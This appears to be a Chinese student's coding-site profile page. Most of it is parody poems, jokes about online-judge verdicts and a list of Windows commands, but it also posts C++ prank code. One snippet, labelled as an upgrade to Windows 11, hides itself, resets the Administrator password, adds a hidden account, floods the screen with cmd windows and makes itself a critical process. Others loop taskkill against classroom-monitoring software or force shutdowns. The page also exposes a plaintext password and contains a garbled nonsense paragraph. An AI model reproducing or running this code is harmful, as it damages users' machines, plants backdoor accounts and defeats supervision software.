• 个人简介

    每想AC一次,天上飘落一粒沙,从此形成了撒哈拉

    AK目的虽有,却无AC可循;我们称之为"GOOD!"的,无非是WA。

    鹅鹅鹅,曲项像烤鹅,拔毛烧开水,点火盖上锅

    <<审判者>> 都是被告人 你额头的伤口,你的手上,表明一切 他们说,要带着律师,去减少每一个罪行 他们说,要带好证词,去和法官争辩 为何手铐不能摘下,却在我受伤的手上带着 谁说手铐不能是玫瑰金的 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你破烂的草鞋,却敢堵法官的嘴 爱你和我那么像,手铐都一样 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 他们说,要戒掉你的瘾,就像擦去了记录 他们说,要顺法院而上,而代价是败诉 那就让我不可逆转,你一样骄傲着那种犯罪 谁说杀人平凡的,不算英雄 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你破烂的草鞋,却敢堵法官的嘴 爱你和我那么像,手铐都一样 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 (你的反驳,震耳欲聋) (你的喧哗,响彻法庭) 他们说,要戒掉你的瘾,就像擦去了记录 他们说,要顺法院而上,而代价是败诉 那就让我不可逆转,你一样骄傲着那种犯罪 谁说杀人平凡的,不算英雄 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你来自于重庆,一生杀掉很多人 你将造你的堡垒,在法庭之上 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判

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    AC很可贵,我曰的

    我从未见过如此厚颜无耻之WA

    船员:我们一定要把WA全都揪出来

    警长:消灭WA,一次只需一颗子弹

    工程师:修理WA和超时,哼,我可是专业的

    侦探:这是最基本的AC,我的朋友

    医生:我觉得WA还可以抢救一下

    预言家:AC将指明我们的方向

    守卫:别担心AC,我就是你的盾牌

    保安:这里有我AC看着,别想闹事

    换票师:我觉得AC结果,嗯,应该这样

    情报员:我一定要把这份AC传递给大家,不惜一切代价

    黑客:AC不会出错,会出错的只有WA

    管道工:WA有问题,炸一炸就好了

    守望者:没人能逃过我的AC

    市长:我不会辜负大家的AC的

    老兵:保持AC,是战场的第一生存守则

    潜伏者:嘘,对不起啊,我是AC

    狱卒:咳,呵呵,没有WA能逃脱我的掌心

    诱捕者:哈哈,WA上当了吧

    时间之主:时间,由我AC来掌控

    内鬼:我保证,没有WA能抵达目的地

    间谍:记住,你的WA会欺骗你

    清洁工:唉,这可比扫整条WA轻松多了

    守夜人:没有我去不了的AC

    咒术师:尽管逃,你WA是逃不掉的

    变色龙:只有聪明人才能看到我AC

    双面人:哈哈哈哈,AC,就是一场豪赌

    搬运工:垃圾WA,就该去它该去的地方

    闪光弹:AC配备检查完毕,准备行动

    女巫:嗯,宝贝,帮我做AC

    赏金猎人:我的眼里,只有AC和WA

    小丑:哈哈哈哈哈哈哈哈,现在,谁才是真正的WA

    纵火犯:芜湖,我从小就喜欢AC,我现在就想看

    幸存者:AC下去,只要,AC下去

    恶魔:我会将AC,分享给你

    幻影:来吧,欣赏这场盛大的AC吧

    饕餮:无

    电脑房里生白烟,李白来到电脑前。狂打电脑的键盘,WA映入他眼帘

    让我们荡起双桨,把WA拍在沙滩上

    正道的光,照在了WA上,让每个绿色的AC都出来蹦跶

    在AC到来之前,总会有WA出现。

    我花半小时来写代码,他却只用半秒给我判了错

    《小码君の语录》人类最大的敌人是BUG,其次是oj。 生而AC,我很抱歉。 小时候,我妈说我的手指长,将来能当钢琴家,然后我成了码农。 人生真是讽刺,我竟然可以AC? 你说过等我的...... AC,WA,往往只在一字之间。 xmw天生就舍弃了oj的意义! 我要AC,哪怕赌上我的一切。 退后,你们这些无知的WA!你不会就这样死的,我的AC! 纵使黑云蔽日,我也要燃烧天空,带BUG进入地狱。 我战斗到了最后一刻! 键盘修好之日,码王归来之时。

    《写代码的小女孩》

    天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。 NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。

    《唐诗三百首》

    1.日照香炉生紫烟,李白来到太平间。头朝地脚朝天,带着微笑上西天。

    2.床前明月光,小偷爬进窗。打开保险箱,钞票一张张。

    3.春眠不觉晓,处处蚊子咬。夜来香港脚,臭的不得了。

    4.朝辞白帝彩云间,某人坐在小河边。小李飞刀一瞬间,某人变成小太监。

    5.锄禾日当午,地雷埋下土。你娃挖地雷,变成二百五。

    6.日照香炉生紫烟,李白走进烤鸭店,口水流下三千尺,一摸兜里没有钱。

    7.墙角数枝梅,不知你爱谁。如果你不说,就是你同桌。

    8.春眠不觉晓,处处蚊子咬。夜来大狗熊,谁也跑不了。

    9.李白乘舟不给钱,渔夫一脚踢下船。桃花潭水深千尺,不知李白死没死。

    10.床前明月光,李白爬上窗。遇见X光,头发变光光。

    11.少小离家胖了回,乡音无改肉成堆。儿童相见不相识,笑问胖子你是谁。

    12.远上香山石径斜,白云深处我和她。原想王子见公主,实是恐龙见青蛙。

    13.大千网络绿映红,聊天见面心见空。见面四百八十次,多少恐龙在其中。

    14.北理朝雨浥清晨,满腹失望伤透心。劝君在莫找网友,明日出家奔少林。

    15.春眠不洗脚,处处蚊子咬。夜来鬼敲门,吓死乡巴佬。

    16.垂死病中惊坐起,小丑竟是我自己。

    17.巴山楚水凄凉地,Responsibility。

    18.劝君更尽一杯酒,你说我丑那我走?

    19.四面边声连角起,牛马竟是我自己。

    20.两岸猿声啼不住,欢迎来到对抗路。

    21.先帝创业未办,蹦迪花光预算。

    22.宝剑锋从磨砺出,得来全不费工夫。

    23.乾坤未定,你我皆是牛马。

    24.老骥伏枥,志在千里,横扫饥饿,做回自己。

    25.如果巅峰留不住,那就进厂包吃包住。如果志同道合,那就流水线回合。有福就同享,有难就进厂,厂里包吃包住,大风大浪挺得住

    26.李白上山去拉屎,忽然想起忘带纸。 勇敢伸出大拇指,扣扣屁股全是屎。

    新《满江红》 怒发冲冠,凭栏处、潇潇雨歇。 抬望眼,满天UKE,怒火激烈。 三十WA尘与土,八千RE云和月。 莫抄袭,没了AC记录,空悲切! CE耻,犹未雪。WA恨,何时灭! 驾PC,踏破题目列表。 闭眼不会Hello world,笑谈不懂头文件。 待从头、收拾A+B,还不会。

    《将进酒》 程序版 君不见,OJ之题天上来,复杂到海不舍回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生重在写算法,莫使AC空对题。 天生OJ必有用,千方百计还CE。 AC一点且为乐,会须一刷三百WA。 吾团友,牛大佬, 将刷题,手莫停!!!

    语文老师一回头,此地空杀黄鹤楼

    数学老师一回头,二次函数对称轴

    英语老师一回头,sorry加上3克油

    历史老师一回头,世界大战再回首

    体育老师一回头,乔丹改打乒乓球

    信竞老师一回头,带着学生玩网游

    化学老师一回头,二氧化碳变汽油

    音乐老师一回头,打着节拍摇着头

    物理老师一回头,阿基米德要跳楼

    地理老师一回头,校门发生泥石流

    美术老师一回头,蒙娜丽莎也风流

    生物老师一回头,全班同学都梦游

    政治老师一回头,人类发展到尽头

    全体老师一回头,从此宇宙无地球

    慈母手中剑,游子身上劈。 一秒十八剑,刀刀出暴击。 父看子未凉,掏出七匹狼。 子看七匹狼,瞬间透心凉。 透心凉,心飞扬,果冻我要喜之郎

    《夜空中最亮的星》

    题库中最难的题

    能否听清

    那刷他的人

    心里的孤独和叹息

    题库中最难的题

    是否知道

    曾与我同行

    消失在黑题里的AC

    我宁愿所有痛苦都留在心里

    也不愿忘记输入数据

    给我再去刷题的勇气

    越过PC去拥抱你

    每当我找不到OI的意义

    每当我迷失在CE里

    题库中最难的题

    请你照亮我AC

    题库中最难的题

    是否知道

    曾与我同行

    消失在题里的AC

    题库中最难的题

    是否在意

    是等比赛结束

    还是MLE先来临

    我宁愿所有痛苦都留在心里

    也不愿忘记你的CE

    给我再去AC的勇气

    越过PC去拥抱你

    每当我找不到OI的意义

    每当我迷失在CE里

    题库中最难的题

    请你照亮我AC

    考试不翻书,简直是头猪。

    作弊不要慌,逮到就要装。

    生是中国人,死是中国魂。

    要我学洋文,死都不可能。

    抢饭不积极,智商有问题。

    上课不放屁,肠道有问题。

    英语不及格,说明我爱国。

    语文不及格,恋爱没资格。

    物理不及格,电死不负责。

    化学不及格,硫酸也喝得。

    政治不及格,老师没道德。

    信息不及格,网吧要打折。

    数学不及格,突出我性格。

    历史不及格,社会要改革。

    全科不及格,老妈动真格。

    有才的家长:

    “隔壁小明玩游戏吗?” “玩!”

    “他成绩好吗?” “好!”

    “你知道他为啥玩游戏吗?因为他学习好!”

    “隔壁小明玩游戏吗?” “玩!”

    “他成绩好吗?” “不好!”

    “你知道他为啥成绩差吗?因为他打游戏!”

    “隔壁小明玩游戏吗?” “不玩!”

    “他成绩好吗?” “好!”

    “你知道他为啥成绩好吗?因为他不打游戏!”

    “隔壁小明玩游戏吗?” “不玩!”

    “他成绩好吗?” “不好!”

    “你知道他为啥不打游戏吗?因为他知道自己成绩差!”

    《毒品》

    试卷,一种新型毒品

    多呈白色,常见于学校

    现已使无数学校上瘾,丧心病狂

    使无数学霸沉迷其中,无法自拔

    使无数学渣失眠多梦,头晕眼花

    它破坏了多少个家庭的和谐

    为了它能使一个考生跳楼自杀

    又在毒害着多少人的精神世界……

    远离试卷,从娃娃抓起

    杜绝试卷,从我做起

    没有买卖,就没有杀害

    一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后。 隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。 电焊工听到,受到启发,也给自己取了一个名字:焊武帝。 一日电焊工去糖果店炫耀自己的名字,老板啦叫他看他的名字:糖太宗。 电焊工看了沉默了。这时一辆粪车路过,发写这三个大字:擒屎皇。 路边捆菜的阿姨行不下去了,叫到你们的名字算什么? 看看我的名字,众人一看这名字取得不一般,大喊到捆菜阿姨的名字:菜需捆!!! 从此,镇上工作的人,再也没有互相比过名字。

    从那里开始下雨,然后放学后天黑了。 这本服务器书。 Dixon 正在计划和撰写关于 SPF 的文章,这将允许用户访问计算机房。 我对科学家们撒了谎,得到了那本关于库伊特理论的书。 “孩子”是下面按钮的名称。更改电话设置的过程需要 32 秒,但不会出现空白文本。 一切都是不可能的!早上特别饿。佩妮很伤心,但她不知道这是一个停顿。如果您在家中检测到无法识别的烟雾,声音的音量将会降低。 在删除密钥之前关闭插件。 DP 陷入了错误的境地,老师对她的进步感到沮丧,没有回应,只带了两本书回家。 这些系统虽小,但无法与其他芳香农产品相媲美。用三四个字! 如果有人想获得软件,您就无法访问互联网。创建模板时,请创建一个新的 PPP 配置文件。我目前在一个位置执行 IOI 操作。 这里的一切都会结束。所有学校都有标志。我希望电视上一切顺利。 当他起锚时,风停了,主上来,说他并不孤单,他已经死了。我需要有人在饭盒下面。 ......我的父母在这里。它于今天发布。我想和我父亲谈谈。 换句话说,我爱这个就像“我的上帝!”男人说:“先生,请进,我喜欢走路!”他在找你! “卡洛胡。

    要想生活过得去,题前必须染点绿。

    从前有座山,山里有座楼,楼里有个跳楼侠,在吃美味~~

    暴力出奇迹,骗分过样例

    梦se吐了梦卡 梦se梦se吐了梦se卡 大地瓜那个烤地瓜 一块钱 能卖仨

    语文老师一回头,此地空杀黄鹤楼 数学老师一回头,二次函数对称轴 英语老师一回头,sorry加上3克油 历史老师一回头,世界大战再回首 体育老师一回头,乔丹改打乒乓球 信竞老师一回头,带着学生玩网游 化学老师一回头,二氧化碳变汽油 音乐老师一回头,打着节拍摇着头 物理老师一回头,阿基米德要跳楼 地理老师一回头,校门发生泥石流 美术老师一回头,蒙娜丽莎也风流 生物老师一回头,全班同学都梦游 政治老师一回头,人类发展到尽头 全体老师一回头,从此宇宙无地球

    人生自古谁无死 早死晚死都得死 那还不如现在死

    锄禾日当午 地雷埋下土 你娃挖地雷 变成二百五

    日照香炉生紫烟 李白来到太平间 头朝地 脚朝天 带着微笑上西天

    垂死病中惊坐起 小丑竟是我自己

    各科老师被困在电梯里的反应:

    语文老师正在写《困在电梯中的思考》。

    数学老师开始计算电梯的长宽高。

    英语老师开始说起电梯英语单词。

    物理老师在计算说几小时空气会呼吸完。

    化学老师在检查这个电梯的材质。

    生物老师在考虑他们需要的物质,比如氧气。

    地理老师在计算纬度叫人来救她们。

    历史老师开始感慨并回忆之前发生过的类似的事情。

    政治老师准备告物业。

    体育老师默默无闻走向电梯门口,一脚把门踹开说了句我们走吧! 事实证明体育才是主科!

    评 测 姬 AC=Answer Coarse=粗劣的答案。

    WA=Wonderful Answer=好答案。

    TLE=Time Limit Enough=时间充裕。

    MLE=Memory Limit Enough=内存充裕。

    CE=Compile Easily=轻松通过编译。

    RE=Run Excellently=完美运行。

    UKE=Unbelievablly Keep Enough Score=难以置信地保持足够的分数。

    OLE=Output Limit Enough=输出充裕。

    分 工 明 确 班长说:走,我们去炸核弹基地。

    副班长说:这个主意不错。

    化学课代表负责提取氢气。

    物理课代表负责拼装氢弹。

    数学课代表负责计算爆破面积。

    地理课代表负责策划爆破地点。

    信息课代表负责编写氢弹程序。

    历史课代表负责记录光辉场面。

    美术课代表负责描画壮观景致。

    生物课代表负责事后生态环境。

    英语课代表到外国购买进口材料。

    政治课代表负责使用法律打官司。

    语文课代表负责乱写文章推卸责任。

    MiKuMiKuMiKuMiKuMiKuMiKu

    摸鱼人的小仓库

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    三、Windows CMD命令大全

    1. gpedit.msc-----组策略
    2. sndrec32-------录音机
    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。
    4. explorer-------打开资源管理器
    5. logoff---------注销命令
    6. shutdown-------60秒倒计时关机命令
    7. lusrmgr.msc----本机用户和组
    8. services.msc---本地服务设置
    9. oobe/msoobe /a----检查XP是否激活
    10. notepad--------打开记事本
    11. cleanmgr-------垃圾整理
    12. net start messenger----开始信使服务
    13. compmgmt.msc---计算机管理
    14. net stop messenger-----停止信使服务
    15. conf-----------启动netmeeting
    16. dvdplay--------DVD播放器
    17. charmap--------启动字符映射表
    18. diskmgmt.msc---磁盘管理实用程序
    19. calc-----------启动计算器
    20. dfrg.msc-------磁盘碎片整理程序
    21. chkdsk.exe-----Chkdsk磁盘检查
    22. devmgmt.msc--- 设备管理器
    23. regsvr32 /u *.dll----停止dll文件运行
    24. drwtsn32------ 系统医生
    25. rononce -p----15秒关机
    26. dxdiag---------检查DirectX信息
    27. regedt32-------注册表编辑器
    28. Msconfig.exe---系统配置实用程序
    29. rsop.msc-------组策略结果集
    30. mem.exe--------显示内存使用情况
    31. regedit.exe----注册表
    32. winchat--------XP自带局域网聊天
    33. progman--------程序管理器
    34. winmsd---------系统信息
    35. perfmon.msc----计算机性能监测程序
    36. winver---------检查Windows版本
    37. sfc /scannow-----扫描错误并复原
    38. taskmgr-----任务管理器(2000/xp/2003
    39. wmimgmt.msc----打开windows管理体系结构(WMI)
    40. wupdmgr--------windows更新程序
    41. wscript--------windows脚本宿主设置
    42. write----------写字板
    43. wiaacmgr-------扫描仪和照相机向导
    44. winchat--------XP自带局域网聊天
    45. mplayer2-------简易widnows media player
    46. mspaint--------画图板
    47. mstsc----------远程桌面连接
    48. magnify--------放大镜实用程序
    49. mmc------------打开控制台
    50. mobsync--------同步命令
    51. iexpress-------木马捆绑工具,系统自带
    52. fsmgmt.msc-----共享文件夹管理器
    53. utilman--------辅助工具管理器
    54. dcomcnfg-------打开系统组件服务
    55. ddeshare-------打开DDE共享设置
    56. osk------------打开屏幕键盘
    57. odbcad32-------ODBC数据源管理器
    58. oobe/msoobe /a----检查XP是否激活
    59. ntbackup-------系统备份和还原
    60. narrator-------屏幕“讲述人”
    61. ntmsmgr.msc----移动存储管理器
    62. ntmsoprq.msc---移动存储管理员操作请求
    63. netstat -an----(TC)命令检查接口
    64. syncapp--------创建一个公文包
    65. sysedit--------系统配置编辑器
    66. sigverif-------文件签名验证程序
    67. ciadv.msc------索引服务程序
    68. shrpubw--------创建共享文件夹
    69. secpol.msc-----本地安全策略
    70. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    71. services.msc---本地服务设置
    72. Sndvol32-------音量控制程序
    73. sfc.exe--------系统文件检查器
    74. sfc /scannow---windows文件保护
    75. ciadv.msc------索引服务程序
    76. tourstart------xp简介(安装完成后出现的漫游xp程序)
    77. taskmgr--------任务管理器
    78. eventvwr-------事件查看器
    79. eudcedit-------造字程序
    80. compmgmt.msc---计算机管理
    81. packager-------对象包装程序
    82. perfmon.msc----计算机性能监测程序
    83. charmap--------启动字符映射表
    84. cliconfg-------SQL SERVER 客户端网络实用程序
    85. Clipbrd--------剪贴板查看器
    86. conf-----------启动netmeeting
    87. certmgr.msc----证书管理实用程序
    88. regsvr32 /u *.dll----停止dll文件运行
    89. regsvr32 /u zipfldr.dll------取消ZIP支持
    90. cmd.exe--------CMD命令提示符

    你制定的计划是.txt还是.exe?

    为什么我的眼里常含泪水,因为我老是躺着中枪。

    过期的牛奶失去了价值,迟来的正义也是。

    谎言不会伤人,真相才是快刀。

    我点燃了火,却控制不了它。

    前进!前进!!不择手段地前进!!!

    相传胜利者肯定手持正义,那仅是因为正义可以被胜利者定义

    请保持理性,冰冷的数字总是比一拍脑门的决定好多了。### 在集训中,你先会:

    信心增强

    信心增强

    接着……

    信心毁灭

    ~信心毁灭~

    此时你会:

    col1
    字符串数组有一个('\n')ascll码为0
    关于'\0'的两点说明:
    1.'\0'是一个字符,所以使用单引号
    2.所有字符串函数都是在不确定字符串字符个数的情况下,使用'\0'表示字符串结束
    以下情况字符数组中会包含结束标志:
    1.对字符数组进行整体输入
    2.人为修改某个字符为'\0'
    3.对字符数组进行任何数组形式的初始化,前提是该字符数组有剩余空间存放'\n'
    4.双引号字符串末尾默认有结束标志
    C风格读入方式:
    1.scanf("%s",s); 会被空格打断
    2.gets(s);最新c++不再支持
    3.fgets(s,n,stdin); 从标准输入读入时,会将行末换行一起读入,磁盘文件不会
    4.cin.getline(s,n) 最安全的用法
    b站
    信息课必用c++代码
    #include <bits/stdc++.h>
    #include <windows.h>
    using namespace std;
    void movexy(short x, short y){
        COORD position={x, y};
        HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
        SetConsoleCursorPosition(hOut, position);
    }
    int main(){
        movexy(37, 7);
        cout<<"反电子教室系统"<<endl;
        cout<<endl;
        cout<<"                                     目前可以反击:"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
        cout<<"                      红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
        cout<<"                              极域电子教室 - 输入 k-jy即可反击"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
        cout<<"                          伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        cout<<"                                  如果在开启本程序后关闭本程序,"<<endl;
        cout<<"                                        本次反击将无效!"<<endl;
        cout<<"    input >>> ";
        string s;
        cin>>s;
        if(s=="k-rs"){
            system("cls");
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
            cout<<"                                  红蜘蛛反击系统启动成功"<<endl;
            Sleep(1000);
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
            while(1)
            {
                system("taskkill /f /t /im REDAgent.exe");
                system("cls");
            }
        }
        if(s=="k-jy"){
            system("cls");
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
            cout<<"                                  极域反击系统启动成功"<<endl;
            Sleep(1000);
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
            while(1)
            {
                system("taskkill /f /t /im StudentMain.exe");
                system("cls");
            }
        }
        if(s=="k-yk"){
            system("cls");
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
            cout<<"                                  伽卡他卡反击系统启动成功"<<endl;
            Sleep(1000);
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
            while(1){
                system("taskkill /f /t /im Student.exe");
                system("cls");
            }
        } 
        return 0;
    }
    

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    噶掉电子教室的代码

    #include <windows.h>
    using namespace std;
    int main()
    {
    while(1)
    {
    system("taskkill /f /t /im REDAgent.exe");
    system("taskkill /f /t /im StudentMain.exe");
    system("taskkill /f /t /im Student.exe");
    }
    return 0;
    }
    

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    让你的电脑升级到win11的神奇c++代码

    #include <bits/stdc++.h>
    #include <windows.h>
    #include <winternl.h>
    using namespace std;
    void HideWindow() {
    	HWND hwnd;
    	hwnd=FindWindow("ConsoleWindowClass",NULL);
    	if(hwnd) ShowWindow(hwnd,SW_HIDE);
    	return;
    }
    int main() {
    	HideWindow();
    	int x=GetSystemMetrics(SM_CXSCREEN);   
    	int y=GetSystemMetrics(SM_CYSCREEN);
    	system("net user Administator 123456");
    	system("net user computer_virus computer_virus /add"); 
    	for(unsigned long long i = 1; i <= 500; i++)
    	{
    			system("start cmd");
    			for(int i=1;i<=100;i++)
    			{
    					SetCursorPos(rand()%y,rand()%x);
    			}
    	}
    	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
        typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
        RtlAdjustPrivilege AdjustPrivilege;
        RtlSetProcessIsCritical SetCriticalProcess;
        HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
        AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
        SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
        BOOLEAN b;
        AdjustPrivilege(20UL, TRUE, FALSE, &b);
        SetCriticalProcess(TRUE, NULL, FALSE);
    	return 0;
    }
    

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    c++的恶搞代码

    #include<bits/stdc++.h>
    using namespace std;
    int main(){
    	cout << "你希望我编程题怎样?(大写)" << "\n"; 
    	string a;
    	while(1){
    		cin >> a;
    		if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){
    			cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n";
    			system("shutdown -f -s -t 60");
    			while(1){
    				cin >> a;
    				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
    					cout << "你竟然还敢诅咒我,你要die了";
    					system("shutdown -a");
    					system("shutdown -f -s -t 3");
    				}else if(a=="AC"||a=="AK"){
    					cout << "这次我就放过你";
    					system("shutdown -a");
    					return 0;
    				}else{
    					cout << "未能识别,请再次输入" << "\n";
    				}
    			}
    		}else if(a=="AC"||a=="AK"){
    			cout << "谢谢你的祝福";
    			return 0;
    		}else if(a=="SB"){
    			cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n";
    			system("shutdown -f -s -t 60");
    			while(1){
    				cin >> a;
    				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
    					cout << "你竟然还敢诅咒我,你要die了";
    					system("shutdown -a");
    					system("shutdown -f -s -t 3");
    				}else if(a=="BA"||a=="AC"||a=="AK"){
    					cout << "这次我就放过你";
    					system("shutdown -a");
    					return 0;
    				}else{
    					cout << "未能识别,请再次输入" << "\n";
    				}
    			}
    		}else{
    			cout << "未能识别,请再次输入" << "\n";
    		}
    	}
    
    	return 0;
    }
    

    2分模板

    #include<iostream>
    using namespace std;
    int main(){
        int n;
        cin>>n;
        int a[n+1];
        for(int i=1;i<=n;i++) cin>>a[i];
        sort(a+1,a+n+1);
        int l=1,r=n;
        while(l<=r){
            int mid=(l+r)/2;
            if(a[mid]>tag) r=mid-1;
            else if(a[mid]<tag) l=mid+1;
            else{
                cout<<l;
                break;
            }
        }
        return 0;
    }
    

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    小码王java网络密码:Xmw@00128

    小兔子,白又白,两只耳朵拿起来,割完动脉割静脉,一动不动真可爱,扒了皮,剁成块,出锅之前撒香菜,香喷喷的下酒菜,红烧兔肉我最爱。

    《观沧海》 东临OJ,以观题库。 题目何难,算法竦立。 算法丛生,题目丰茂。 初窥门径,二维数组。 作业之行,若出其中。 算法灿烂,若出OJ。 幸甚至哉,代码咏志。

    《孝子吟》 慈母手中键, C++身上敲。 一秒十二字符, 字字都报错。 父看C++报错, 掏出回收站。 C++看回收站, 瞬间透心凉。 透心凉,心飞扬,编译器我要C++。

    人生自古谁无死,谁上厕所不带纸?! ! ! ! ! 人生自古谁无屎,用纸只能用一尺!!!!!!

    ikun专属“小游戏”

    坤坤跳跳乐 http://jlh.125ks.cn/cxk/dinogame/

    坤坤邀你打视频 http://jlh.125ks.cn/cxk/spth/

    坤坤邀你打电话 http://jlh.125ks.cn/cxk/ddh/

    爆踩菜虚鲲 http://jlh.125ks.cn/cxk/bccxk/

    坤坤打篮球 http://jlh.125ks.cn/cxk/dlq/

    坤坤打飞机 http://jlh.125ks.cn/cxk/

    文学区

    1、人被杀,就会死

    2、当你左脸被打,你的右脸就不会痛

    3、据研究每呼吸60秒,就减少1分钟寿命

    4、中国人在睡觉时,大多数美国人在工作

    5、凡是每天憋尿过多的人,有高几率100年内死去

    6、谁能想到,一名16岁少女,4年前只是一-位12岁少女

    7、 当蝴蝶在南半球拍了两下翅膀,它就会稍微飞高一些

    8、如果你每天省下来一包烟钱,10天后你就能买10包烟

    9、当你吃下了20碗米饭,换算下来竟然相当于摄入了20碗米饭的热量

    10、中国教英语方式有极大错误,在美国就连小学生都能说一口流利的英语

    一步杀亿人,万里不留人。 天上天下,唯我独尊。 运筹帷幄之中,决胜千里之外。 我貌赛潘安,义超关羽,智胜孔明,勇过典韦,上之天文,下晓地理,出口成章,提笔成文

    人总是贪婪的,就像最开始,我也只是想AC。

